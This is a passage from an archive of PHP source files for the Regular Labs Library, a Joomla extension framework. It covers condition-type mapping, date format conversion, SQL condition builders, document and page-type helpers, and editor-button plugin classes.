$extra_params = ['publish_up', 'publish_down',
'recurring', 'ignore_time_zone'];
break;
case 'Date.Season':
$extra_params = ['hemisphere'];
break;
case 'Date.Time':
$extra_params = ['publish_up', 'publish_down'];
break;
case 'User.Grouplevel':
$extra_params = ['inc_children'];
break;
case 'Url':
if (is_array($object->selection))
{
$object->selection = implode("\n",
$object->selection);
}
if (isset($params->conditions['urls_selection_sef']))
{
$object->selection .= "\n" .
$params->conditions['urls_selection_sef'];
}
$object->selection = trim(str_replace("\r",
'', $object->selection));
$object->selection = explode("\n",
$object->selection);
$object->params->regex =
isset($params->conditions['urls_regex']) ?
$params->conditions['urls_regex'] : false;
break;
case 'Agent.Browser':
if ( ! empty($params->conditions['mobile_selection']))
{
$object->selection =
array_merge(self::makeArray($object->selection),
self::makeArray($params->conditions['mobile_selection']));
}
if ( ! empty($params->conditions['searchbots_selection']))
{
$object->selection = array_merge($object->selection,
self::makeArray($params->conditions['searchbots_selection']));
}
break;
case 'Tag':
$extra_params = ['inc_children'];
break;
case 'Content.Category':
$extra_params = ['inc_children'];
$includes = ['cats' => 'categories',
'arts' => 'articles', 'others'];
break;
case 'Easyblog.Category':
case 'K2.Category':
case 'Hikashop.Category':
case 'Mijoshop.Category':
case 'Redshop.Category':
case 'Virtuemart.Category':
$extra_params = ['inc_children'];
$includes = ['cats' => 'categories',
'items'];
break;
case 'Zoo.Category':
$extra_params = ['inc_children'];
$includes = ['apps', 'cats' =>
'categories', 'items'];
break;
case 'Easyblog.Tag':
case 'Flexicontent.Tag':
case 'K2.Tag':
$includes = ['tags', 'items'];
break;
case 'Content.Article':
$extra_params = [
'featured',
'content_keywords', 'keywords' =>
'meta_keywords',
'authors',
'date', 'date_comparison', 'date_type',
'date_date', 'date_from', 'date_to',
'fields',
];
break;
case 'K2.Item':
$extra_params = ['content_keywords',
'meta_keywords', 'authors'];
break;
case 'Easyblog.Item':
$extra_params = ['content_keywords', 'authors'];
break;
case 'Zoo.Item':
$extra_params = ['authors'];
break;
}
if (in_array($type, self::getMatchAllTypes()))
{
$extra_params[] = 'match_all';
if (count($object->selection) == 1 &&
strpos($object->selection[0], '+') !== false)
{
$object->selection = ArrayHelper::toArray($object->selection[0],
'+');
$params->match_all = true;
}
}
if (empty($extra_params) && empty($array_params) &&
empty($includes))
{
return;
}
self::addParamsByType($object, $id, $params, $extra_params,
$array_params, $includes);
}
private static function addParamsByType(&$object, $id, $params,
$extra_params = [], $array_params = [], $includes = [])
{
foreach ($extra_params as $key => $param)
{
$key = is_numeric($key) ? $param : $key;
$object->params->{$param} = self::getTypeParamValue($id, $params,
$key);
}
foreach ($array_params as $key => $param)
{
$key = is_numeric($key) ? $param : $key;
$object->params->{$param} = self::getTypeParamValue($id, $params,
$key, true);
}
if (empty($includes))
{
return;
}
$incs = self::getTypeParamValue($id, $params, 'inc', true);
if (empty($incs) && ! empty($params->conditions[$id])
&& ! isset($params->conditions[$id . '_inc']))
{
$incs = ['inc_items', 'inc_arts',
'inc_cats', 'inc_others', 'x'];
}
foreach ($includes as $key => $param)
{
$key = is_numeric($key) ? $param : $key;
$object->params->{'inc_' . $param} =
in_array('inc_' . $key, $incs) ? 1 : 0;
}
unset($object->params->inc);
}
private static function getTypeParamValue($id, $params, $key, $is_array =
false)
{
if (isset($params->conditions) &&
isset($params->conditions[$id . '_' . $key]))
{
return $params->conditions[$id . '_' . $key];
}
if (isset($params->{'assignto_' . $id . '_' .
$key}))
{
return $params->{'assignto_' . $id . '_' . $key};
}
if (isset($params->{$key}))
{
return $params->{$key};
}
if ($is_array)
{
return [];
}
return '';
}
private static function getTypes($only_types = [])
{
$types = [
'menuitems' => 'Menu',
'homepage' => 'Homepage',
'date' => 'Date.Date',
'seasons' => 'Date.Season',
'months' => 'Date.Month',
'days' => 'Date.Day',
'time' => 'Date.Time',
'accesslevels' => 'User.Accesslevel',
'usergrouplevels' => 'User.Grouplevel',
'users' => 'User.User',
'languages' => 'Language',
'ips' => 'Ip',
'geocontinents' => 'Geo.Continent',
'geocountries' => 'Geo.Country',
'georegions' => 'Geo.Region',
'geopostalcodes' => 'Geo.Postalcode',
'templates' => 'Template',
'urls' => 'Url',
'devices' => 'Agent.Device',
'os' => 'Agent.Os',
'browsers' => 'Agent.Browser',
'components' => 'Component',
'tags' => 'Tag',
'contentpagetypes' => 'Content.Pagetype',
'cats' => 'Content.Category',
'articles' => 'Content.Article',
'easyblogpagetypes' => 'Easyblog.Pagetype',
'easyblogcats' => 'Easyblog.Category',
'easyblogtags' => 'Easyblog.Tag',
'easyblogitems' => 'Easyblog.Item',
'flexicontentpagetypes' =>
'Flexicontent.Pagetype',
'flexicontenttags' => 'Flexicontent.Tag',
'flexicontenttypes' => 'Flexicontent.Type',
'form2contentprojects' =>
'Form2content.Project',
'k2pagetypes' => 'K2.Pagetype',
'k2cats' => 'K2.Category',
'k2tags' => 'K2.Tag',
'k2items' => 'K2.Item',
'zoopagetypes' => 'Zoo.Pagetype',
'zoocats' => 'Zoo.Category',
'zooitems' => 'Zoo.Item',
'akeebasubspagetypes' => 'Akeebasubs.Pagetype',
'akeebasubslevels' => 'Akeebasubs.Level',
'hikashoppagetypes' => 'Hikashop.Pagetype',
'hikashopcats' => 'Hikashop.Category',
'hikashopproducts' => 'Hikashop.Product',
'mijoshoppagetypes' => 'Mijoshop.Pagetype',
'mijoshopcats' => 'Mijoshop.Category',
'mijoshopproducts' => 'Mijoshop.Product',
'redshoppagetypes' => 'Redshop.Pagetype',
'redshopcats' => 'Redshop.Category',
'redshopproducts' => 'Redshop.Product',
'virtuemartpagetypes' => 'Virtuemart.Pagetype',
'virtuemartcats' => 'Virtuemart.Category',
'virtuemartproducts' => 'Virtuemart.Product',
'cookieconfirm' => 'Cookieconfirm',
'php' => 'Php',
];
if (empty($only_types))
{
return $types;
}
return array_intersect_key($types, array_flip($only_types));
}
private static function getType(&$type, $only_types = [])
{
$types = self::getTypes($only_types);
if (isset($types[$type]))
{
return $types[$type];
}
// Make it plural
$type = rtrim($type, 's') . 's';
if (isset($types[$type]))
{
return $types[$type];
}
// Replace incorrect plural endings
$type = str_replace('ys', 'ies', $type);
if (isset($types[$type]))
{
return $types[$type];
}
return false;
}
private static function getTypeAliases()
{
return [
'matching_method' => ['method'],
'menuitems' => ['menu'],
'homepage' => ['home'],
'date' => ['daterange'],
'seasons' => [''],
'months' => [''],
'days' => [''],
'time' => [''],
'accesslevels' => ['access'],
'usergrouplevels' => ['usergroups',
'groups'],
'users' => [''],
'languages' => ['langs'],
'ips' => ['ipaddress',
'ipaddresses'],
'geocontinents' => ['continents'],
'geocountries' => ['countries'],
'georegions' => ['regions'],
'geopostalcodes' => ['postalcodes',
'postcodes'],
'templates' => [''],
'urls' => [''],
'devices' => [''],
'os' => [''],
'browsers' => [''],
'components' => [''],
'tags' => [''],
'contentpagetypes' => ['pagetypes'],
'cats' => ['categories',
'category'],
'articles' => [''],
'php' => [''],
];
}
private static function getTextAreaTypes()
{
return [
'Ip',
'Url',
'Php',
];
}
private static function getNotArrayTextAreaTypes()
{
return [
'Php',
];
}
public static function getMatchAllTypes()
{
return [
'User.Grouplevel',
'Tag',
];
}
}
src/Database.php000064400000000720151167425550007562 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* @depecated Use DB instead
*/
class Database extends DB
{
}
src/Date.php000064400000007507151167425550006745 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use DateTimeZone;
use Joomla\CMS\Factory as JFactory;
class Date
{
/**
* Convert string to a correct date format ('00-00-00 00:00:00'
or '00-00-00') or null
*
* @param string $date
*
* @return null|string
*/
public static function fix($date)
{
if ( ! $date)
{
return null;
}
$date = trim($date);
// Check if date has correct syntax: 00-00-00 00:00:00
// If so, the date format is correct
if (RegEx::match('^[0-9]+-[0-9]+-[0-9]+(
[0-9][0-9]:[0-9][0-9]:[0-9][0-9])?$', $date))
{
return $date;
}
// Check if date has syntax: 00-00-00 00:00
// If so, it is missing the seconds, so add :00 (seconds)
if (RegEx::match('^[0-9]+-[0-9]+-[0-9]+
[0-9][0-9]:[0-9][0-9]$', $date))
{
return $date . ':00';
}
// Check if date has a prepending date syntax: 00-00-00
// If so, it is missing a correct time time, so add 00:00:00 (hours,
minutes, seconds)
if (RegEx::match('^([0-9]+-[0-9]+-[0-9]+)$', $date, $match))
{
return $match[1] . ' 00:00:00';
}
// Date format is not correct, so return null
return null;
}
/**
* Applies offset to a date
*
* @param string $date
* @param string $timezone
*/
public static function applyTimezone(&$date, $timezone = '')
{
if ($date <= 0)
{
$date = 0;
return;
}
$timezone = $timezone ?:
JFactory::getUser()->getParam('timezone',
JFactory::getConfig()->get('offset'));
$date = JFactory::getDate($date, $timezone);
$date->setTimezone(new DateTimeZone('UTC'));
$date = $date->format('Y-m-d H:i:s', true, false);
}
/**
* Convert string with 'date' format to 'strftime'
format
*
* @param string $format
*
* @return string
*/
public static function strftimeToDateFormat($format)
{
if (strpos($format, '%') === false)
{
return $format;
}
return strtr((string) $format, self::getStrftimeToDateFormats());
}
/**
* Convert string with 'date' format to 'strftime'
format
*
* @param string $format
*
* @return string
*/
public static function dateToStrftimeFormat($format)
{
return strtr((string) $format, self::getDateToStrftimeFormats());
}
private static function getStrftimeToDateFormats()
{
return [
// Day
'%d' => 'd',
'%a' => 'D',
'%#d' => 'j',
'%A' => 'l',
'%u' => 'N',
'%w' => 'w',
'%j' => 'z',
// Week
'%V' => 'W',
// Month
'%B' => 'F',
'%m' => 'm',
'%b' => 'M',
// Year
'%G' => 'o',
'%Y' => 'Y',
'%y' => 'y',
// Time
'%P' => 'a',
'%p' => 'A',
'%l' => 'g',
'%I' => 'h',
'%H' => 'H',
'%M' => 'i',
'%S' => 's',
// Timezone
'%z' => 'O',
'%Z' => 'T',
// Full Date / Time
'%s' => 'U',
];
}
private static function getDateToStrftimeFormats()
{
return [
// Day - no strf eq : S
'd' => '%d',
'D' => '%a',
'jS' => '%#d[TH]',
'j' => '%#d',
'l' => '%A',
'N' => '%u',
'w' => '%w',
'z' => '%j',
// Week - no date eq : %U, %W
'W' => '%V',
// Month - no strf eq : n, t
'F' => '%B',
'm' => '%m',
'M' => '%b',
// Year - no strf eq : L; no date eq : %C, %g
'o' => '%G',
'Y' => '%Y',
'y' => '%y',
// Time - no strf eq : B, G, u; no date eq : %r, %R, %T, %X
'a' => '%P',
'A' => '%p',
'g' => '%l',
'h' => '%I',
'H' => '%H',
'i' => '%M',
's' => '%S',
// Timezone - no strf eq : e, I, P, Z
'O' => '%z',
'T' => '%Z',
// Full Date / Time - no strf eq : c, r; no date eq : %c, %D, %F, %x
'U' => '%s',
];
}
}
src/DB.php000064400000010602151167425550006343 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class DB
* @package RegularLabs\Library
*/
class DB
{
static $tables = [];
/**
* Check if a table exists in the database
*
* @param string $table
*
* @return bool
*/
public static function tableExists($table)
{
if (isset(self::$tables[$table]))
{
return self::$tables[$table];
}
$db = JFactory::getDbo();
if (strpos($table, '#__') === 0)
{
$table = $db->getPrefix() . substr($table, 3);
}
if (strpos($table, $db->getPrefix()) !== 0)
{
$table = $db->getPrefix() . $table;
}
$query = 'SHOW TABLES LIKE ' . $db->quote($table);
$db->setQuery($query);
$result = $db->loadResult();
self::$tables[$table] = ! empty($result);
return self::$tables[$table];
}
/**
* Concatenate conditions using AND or OR
*
* @param string $glue
* @param array $conditions
*
* @return string
*/
public static function combine($conditions = [], $glue = 'OR')
{
if (empty($conditions))
{
return '';
}
if ( ! is_array($conditions))
{
return (string) $conditions;
}
if (count($conditions) < 2)
{
return $conditions[0];
}
$glue = strtoupper($glue) == 'AND' ? 'AND' :
'OR';
return '(' . implode(' ' . $glue . ' ',
$conditions) . ')';
}
/**
* Create an IN statement
* Reverts to a simple equals statement if array just has 1 value
*
* @param string|array $value
*
* @return string
*/
public static function in($value, $handle_now = false)
{
if (empty($value) && ! is_array($value))
{
return ' = 0';
}
$operator = self::getOperator($value);
$value = self::prepareValue($value, $handle_now);
if ( ! is_array($value))
{
return ' ' . $operator . ' ' . $value;
}
if (count($value) == 1)
{
return ' ' . $operator . ' ' . reset($value);
}
$operator = $operator == '!=' ? 'NOT IN' :
'IN';
$values = empty($value) ? "''" :
implode(',', $value);
return ' ' . $operator . ' (' . $values .
')';
}
public static function prepareValue($value, $handle_now = false)
{
if (is_array($value))
{
$array = $value;
foreach ($array as &$array_value)
{
$array_value = self::prepareValue($array_value, $handle_now);
}
return $array;
}
$dates = ['now', 'now()', 'date()',
'jfactory::getdate()'];
if ($handle_now && ! is_array($value) &&
in_array(strtolower($value), $dates))
{
return 'NOW()';
}
if (is_int($value) || ctype_digit($value))
{
return $value;
}
return JFactory::getDbo()->quote($value);
}
public static function getOperator(&$value, $default = '=')
{
if (empty($value))
{
return $default;
}
if (is_array($value))
{
$value = array_values($value);
$operator = self::getOperatorFromValue($value[0], $default);
// remove operators from other array values
foreach ($value as &$val)
{
$val = self::removeOperator($val);
}
return $operator;
}
$operator = self::getOperatorFromValue($value, $default);
$value = self::removeOperator($value);
return $operator;
}
public static function removeOperator($string)
{
$regex = '^' . RegEx::quote(self::getOperators(),
'operator');
return RegEx::replace($regex, '', $string);
}
public static function getOperators()
{
return ['!NOT!', '!=', '!',
'<>', '<=', '<',
'>=', '>', '=', '=='];
}
public static function getOperatorFromValue($value, $default =
'=')
{
$regex = '^' . RegEx::quote(self::getOperators(),
'operator');
if ( ! RegEx::match($regex, $value, $parts))
{
return $default;
}
$operator = $parts['operator'];
switch ($operator)
{
case '!':
case '!NOT!':
$operator = '!=';
break;
case '==':
$operator = '=';
break;
}
return $operator;
}
/**
* Create an LIKE statement
*
* @param string $value
*
* @return string
*/
public static function like($value)
{
$operator = self::getOperator($value);
$value = str_replace('*', '%',
self::prepareValue($value));
$operator = $operator == '!=' ? 'NOT LIKE' :
'LIKE';
return ' ' . $operator . ' ' . $value;
}
}
src/Document.php000064400000031007151167425550007636 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
/**
* Class Document
* @package RegularLabs\Library
*/
class Document
{
/**
* Check if the current setup matches the given main version number
*
* @param int $version
* @param string $title
*
* @return bool
*/
public static function isJoomlaVersion($version, $title = '')
{
if ((int) JVERSION == $version)
{
return true;
}
if ($title)
{
Language::load('plg_system_regularlabs');
JFactory::getApplication()->enqueueMessage(
JText::sprintf('RL_NOT_COMPATIBLE_WITH_JOOMLA_VERSION',
JText::_($title), (int) JVERSION),
'error'
);
}
return false;
}
/**
* Check if page is an admin page
*
* @param bool $exclude_login
*
* @return bool
*/
public static function isAdmin($exclude_login = false)
{
$cache_id = __FUNCTION__ . '_' . $exclude_login;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
return Cache::set($cache_id,
(
self::isClient('administrator')
&& ( ! $exclude_login || !
JFactory::getUser()->get('guest'))
&& $input->get('task') != 'preview'
&& ! (
$input->get('option') == 'com_finder'
&& $input->get('format') == 'json'
)
)
);
}
/**
* Check if page is an edit page
*
* @return bool
*/
public static function isClient($identifier)
{
$identifier = $identifier == 'admin' ?
'administrator' : $identifier;
$cache_id = __FUNCTION__ . '_' . $identifier;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
return Cache::set($cache_id,
JFactory::getApplication()->isClient($identifier));
}
/**
* Check if page is an edit page
*
* @return bool
*/
public static function isEditPage()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
$option = $input->get('option');
// always return false for these components
if (in_array($option, ['com_rsevents',
'com_rseventspro']))
{
return Cache::set($cache_id, false);
}
$task = $input->get('task');
if (strpos($task, '.') !== false)
{
$task = explode('.', $task);
$task = array_pop($task);
}
$view = $input->get('view');
if (strpos($view, '.') !== false)
{
$view = explode('.', $view);
$view = array_pop($view);
}
return Cache::set($cache_id,
(
in_array($option, ['com_config',
'com_contentsubmit', 'com_cckjseblod'])
|| ($option == 'com_comprofiler' && in_array($task,
['', 'userdetails']))
|| in_array($task, ['edit', 'form',
'submission'])
|| in_array($view, ['edit', 'form'])
|| in_array($input->get('do'), ['edit',
'form'])
|| in_array($input->get('layout'), ['edit',
'form', 'write'])
|| self::isAdmin()
)
);
}
/**
* Checks if current page is a html page
*
* @return bool
*/
public static function isHtml()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
return Cache::set($cache_id,
(JFactory::getDocument()->getType() == 'html')
);
}
/**
* Checks if current page is a feed
*
* @return bool
*/
public static function isFeed()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
return Cache::set($cache_id,
(
JFactory::getDocument()->getType() == 'feed'
|| $input->getWord('format') == 'feed'
|| $input->getWord('format') == 'xml'
|| $input->getWord('type') == 'rss'
|| $input->getWord('type') == 'atom'
)
);
}
/**
* Checks if current page is a pdf
*
* @return bool
*/
public static function isPDF()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
return Cache::set($cache_id,
(
JFactory::getDocument()->getType() == 'pdf'
|| $input->getWord('format') == 'pdf'
|| $input->getWord('cAction') == 'pdf'
)
);
}
/**
* Checks if current page is a JSON format fle
*
* @return bool
*/
public static function isJSON()
{
return JFactory::getApplication()->input->get('format')
== 'json';
}
/**
* Checks if current page is a https (ssl) page
*
* @return bool
*/
public static function isHttps()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
return Cache::set($cache_id,
(
( ! empty($_SERVER['HTTPS']) &&
strtolower($_SERVER['HTTPS']) != 'off')
|| (isset($_SERVER['SSL_PROTOCOL']))
|| (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443)
|| (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) ==
'https')
)
);
}
/**
* Checks if context/page is a category list
*
* @param string $context
*
* @return bool
*/
public static function isCategoryList($context)
{
$cache_id = __FUNCTION__ . '_' . $context;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$app = JFactory::getApplication();
$input = $app->input;
// Return false if it is not a category page
if ($context != 'com_content.category' ||
$input->get('view') != 'category')
{
return Cache::set($cache_id, false);
}
// Return false if layout is set and it is not a list layout
if ($input->get('layout') &&
$input->get('layout') != 'list')
{
return Cache::set($cache_id, false);
}
// Return false if default layout is set to blog
if ($app->getParams()->get('category_layout') ==
'_:blog')
{
return Cache::set($cache_id, false);
}
// Return true if it IS a list layout
return Cache::set($cache_id, true);
}
/**
* Adds a script file to the page (with optional versioning)
*
* @param string $file
* @param string $version
*/
public static function script($file, $version = '', $options =
[], $attribs = [])
{
if ( ! $url = File::getMediaFile('js', $file))
{
return;
}
JHtml::_('jquery.framework');
if (strpos($file, 'regularlabs/') !== false
&& strpos($file, 'regular.') === false
)
{
JHtml::_('behavior.core');
JHtml::_('script', 'jui/cms.js',
['version' => 'auto', 'relative' =>
true]);
$version = '21.2.19653';
}
if ( ! empty($version))
{
$url .= '?v=' . $version;
}
JFactory::getDocument()->addScript($url, $options, $attribs);
}
/**
* Adds a stylesheet file to the page(with optional versioning)
*
* @param string $file
* @param string $version
*/
public static function style($file, $version = '')
{
if (strpos($file, 'regularlabs/') === 0)
{
$version = '21.2.19653';
}
if ( ! $file = File::getMediaFile('css', $file))
{
return;
}
if ( ! empty($version))
{
$file .= '?v=' . $version;
}
JFactory::getDocument()->addStylesheet($file);
}
/**
* Alias of \RegularLabs\Library\Document::style()
*
* @param string $file
* @param string $version
*/
public static function stylesheet($file, $version = '')
{
self::style($file, $version);
}
/**
* Adds extension options to the page
*
* @param array $options
* @param string $name
*/
public static function scriptOptions($options = [], $name = '')
{
$key = 'rl_' . Extension::getAliasByName($name);
JHtml::_('behavior.core');
JFactory::getDocument()->addScriptOptions($key, $options);
}
/**
* Loads the required scripts and styles used in forms
*/
public static function loadMainDependencies()
{
JHtml::_('jquery.framework');
self::script('regularlabs/script.min.js');
self::style('regularlabs/style.min.css');
}
/**
* Loads the required scripts and styles used in forms
*/
public static function loadFormDependencies()
{
JHtml::_('jquery.framework');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.combobox');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');
JHtml::_('formbehavior.chosen', '#jform_position',
null, ['disable_search_threshold' => 0]);
JHtml::_('formbehavior.chosen',
'.multipleCategories', null,
['placeholder_text_multiple' =>
JText::_('JOPTION_SELECT_CATEGORY')]);
JHtml::_('formbehavior.chosen', '.multipleTags',
null, ['placeholder_text_multiple' =>
JText::_('JOPTION_SELECT_TAG')]);
JHtml::_('formbehavior.chosen', 'select');
self::script('regularlabs/form.min.js');
self::style('regularlabs/form.min.css');
}
/**
* Loads the required scripts and styles used in forms
*/
public static function loadEditorButtonDependencies()
{
self::loadMainDependencies();
JHtml::_('bootstrap.popover');
}
public static function loadPopupDependencies()
{
self::loadMainDependencies();
self::loadFormDependencies();
self::style('regularlabs/popup.min.css');
}
/**
* Adds a javascript declaration to the page
*
* @param string $content
* @param string $name
* @param bool $minify
* @param string $type
*/
public static function scriptDeclaration($content = '', $name =
'', $minify = true, $type = 'text/javascript')
{
if ($minify)
{
$content = self::minify($content);
}
if ( ! empty($name))
{
$content = Protect::wrapScriptDeclaration($content, $name, $minify);
}
JFactory::getDocument()->addScriptDeclaration($content, $type);
}
/**
* Adds a stylesheet declaration to the page
*
* @param string $content
* @param string $name
* @param bool $minify
* @param string $type
*/
public static function styleDeclaration($content = '', $name =
'', $minify = true, $type = 'text/css')
{
if ($minify)
{
$content = self::minify($content);
}
if ( ! empty($name))
{
$content = Protect::wrapStyleDeclaration($content, $name, $minify);
}
JFactory::getDocument()->addStyleDeclaration($content, $type);
}
/**
* Remove style/css blocks from html string
*
* @param string $string
* @param string $name
* @param string $alias
*/
public static function removeScriptsStyles(&$string, $name, $alias =
'')
{
list($start, $end) = Protect::getInlineCommentTags($name, null, true);
$alias = $alias ?: Extension::getAliasByName($name);
$string = RegEx::replace('((?:;\s*)?)(;?)' . $start .
'.*?' . $end . '\s*', '\1', $string);
$string = RegEx::replace('\s*<link
[^>]*href="[^"]*/(' . $alias . '/css|css/' .
$alias . ')/[^"]*\.css[^"]*"[^>]*( /)?>',
'', $string);
$string = RegEx::replace('\s*<script
[^>]*src="[^"]*/(' . $alias . '/js|js/' .
$alias .
')/[^"]*\.js[^"]*"[^>]*></script>',
'', $string);
}
/**
* Remove joomla script options
*
* @param string $string
* @param string $name
* @param string $alias
*/
public static function removeScriptsOptions(&$string, $name, $alias =
'')
{
RegEx::match(
'(<script type="application/json"
class="joomla-script-options
new">)(.*?)(</script>)',
$string,
$match
);
if (empty($match))
{
return;
}
$alias = $alias ?: Extension::getAliasByName($name);
$scripts = json_decode($match[2]);
if ( ! isset($scripts->{'rl_' . $alias}))
{
return;
}
unset($scripts->{'rl_' . $alias});
$string = str_replace(
$match[0],
$match[1] . json_encode($scripts) . $match[3],
$string
);
}
/**
* Returns the document buffer
*
* @return null|string
*/
public static function getBuffer()
{
$buffer = JFactory::getDocument()->getBuffer('component');
if (empty($buffer) || ! is_string($buffer))
{
return null;
}
$buffer = trim($buffer);
if (empty($buffer))
{
return null;
}
return $buffer;
}
/**
* Set the document buffer
*
* @param string $buffer
*/
public static function setBuffer($buffer = '')
{
JFactory::getDocument()->setBuffer($buffer, 'component');
}
/**
* Minify the given string
*
* @param string $string
*
* @return string
*/
public static function minify($string)
{
// place new lines around string to make regex searching easier
$string = "\n" . $string . "\n";
// Remove comment lines
$string = RegEx::replace('\n\s*//.*?\n', '',
$string);
// Remove comment blocks
$string = RegEx::replace('/\*.*?\*/', '', $string);
// Remove enters
$string = RegEx::replace('\n\s*', ' ', $string);
// Remove surrounding whitespace
$string = trim($string);
return $string;
}
}
src/EditorButton.php000064400000001003151167425550010473 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* @deprecated 2018-11-14 Use EditorButtonPlugin instead
*/
class EditorButton
extends EditorButtonPlugin
{
}
src/EditorButtonHelper.php000064400000004346151167425550011650
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Object\CMSObject as JObject;
/**
* Class EditorButtonHelper
* @package RegularLabs\Library
*/
class EditorButtonHelper
{
var $_name = '';
var $params = null;
public function __construct($name, &$params)
{
$this->_name = $name;
$this->params = $params;
Language::load('plg_editors-xtd_' . $name);
JHtml::_('jquery.framework');
Document::script('regularlabs/script.min.js');
Document::style('regularlabs/style.min.css');
}
public function getButtonText()
{
$text_ini = strtoupper(str_replace(' ', '_',
$this->params->button_text));
$text = JText::_($text_ini);
if ($text == $text_ini)
{
$text = JText::_($this->params->button_text);
}
return trim($text);
}
public function getIcon($icon = '')
{
$icon = $icon ?: $this->_name;
return 'reglab icon-' . $icon;
}
public function renderPopupButton($editor_name, $width = 0, $height = 0)
{
$button = new JObject;
$button->modal = true;
$button->class = 'btn rl_button_' . $this->_name;
$button->link = $this->getPopupLink($editor_name);
$button->text = $this->getButtonText();
$button->name = $this->getIcon();
$button->options = $this->getPopupOptions($width, $height);
return $button;
}
public function getPopupLink($editor_name)
{
return 'index.php?rl_qp=1'
. '&folder=plugins.editors-xtd.' . $this->_name
. '&file=popup.php'
. '&name=' . $editor_name;
}
public function getPopupOptions($width = 0, $height = 0)
{
$width = $width ?: 1600;
$height = $height ?: 1200;
$width = 'Math.min(window.getSize().x-100, ' . $width .
')';
$height = 'Math.min(window.getSize().y-100, ' . $height .
')';
return '{'
. 'handler: \'iframe\','
. 'size: {'
. 'x:' . $width . ','
. 'y:' . $height
. '}'
. '}';
}
}
src/EditorButtonPlugin.php000064400000007207151167425550011666
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Object\CMSObject as JObject;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
use ReflectionClass;
/**
* Class EditorButtonPlugin
* @package RegularLabs\Library
*/
class EditorButtonPlugin
extends JPlugin
{
private $_init = false;
private $_helper = null;
var $main_type = 'plugin'; // The type of extension
that holds the parameters
var $check_installed = null; // The types of extensions that need to
be checked (will default to main_type)
var $require_core_auth = true; // Whether or not the core content
create/edit permissions are required
var $folder = null; // The path to the original caller file
var $enable_on_acymailing = false; // Whether or not to enable the editor
button on AcyMailing
/**
* Display the button
*
* @param string $editor_name
*
* @return JObject|null A button object
*/
function onDisplay($editor_name)
{
if ( ! $this->getHelper())
{
return null;
}
return $this->_helper->render($editor_name, $this->_subject);
}
/*
* Below methods are general functions used in most of the Regular Labs
extensions
* The reason these are not placed in the Regular Labs Library files is
that they also
* need to be used when the Regular Labs Library is not installed
*/
/**
* Create the helper object
*
* @return object|null The plugins helper object
*/
private function getHelper()
{
// Already initialized, so return
if ($this->_init)
{
return $this->_helper;
}
$this->_init = true;
if ( ! Extension::isFrameworkEnabled())
{
return null;
}
if ( ! Extension::isAuthorised($this->require_core_auth))
{
return null;
}
if ( ! $this->isInstalled())
{
return null;
}
if ( ! $this->enable_on_acymailing &&
JFactory::getApplication()->input->get('option') ==
'com_acymailing')
{
return null;
}
$params = $this->getParams();
if ( ! Extension::isEnabledInComponent($params))
{
return null;
}
if ( ! Extension::isEnabledInArea($params))
{
return null;
}
if ( ! $this->extraChecks($params))
{
return null;
}
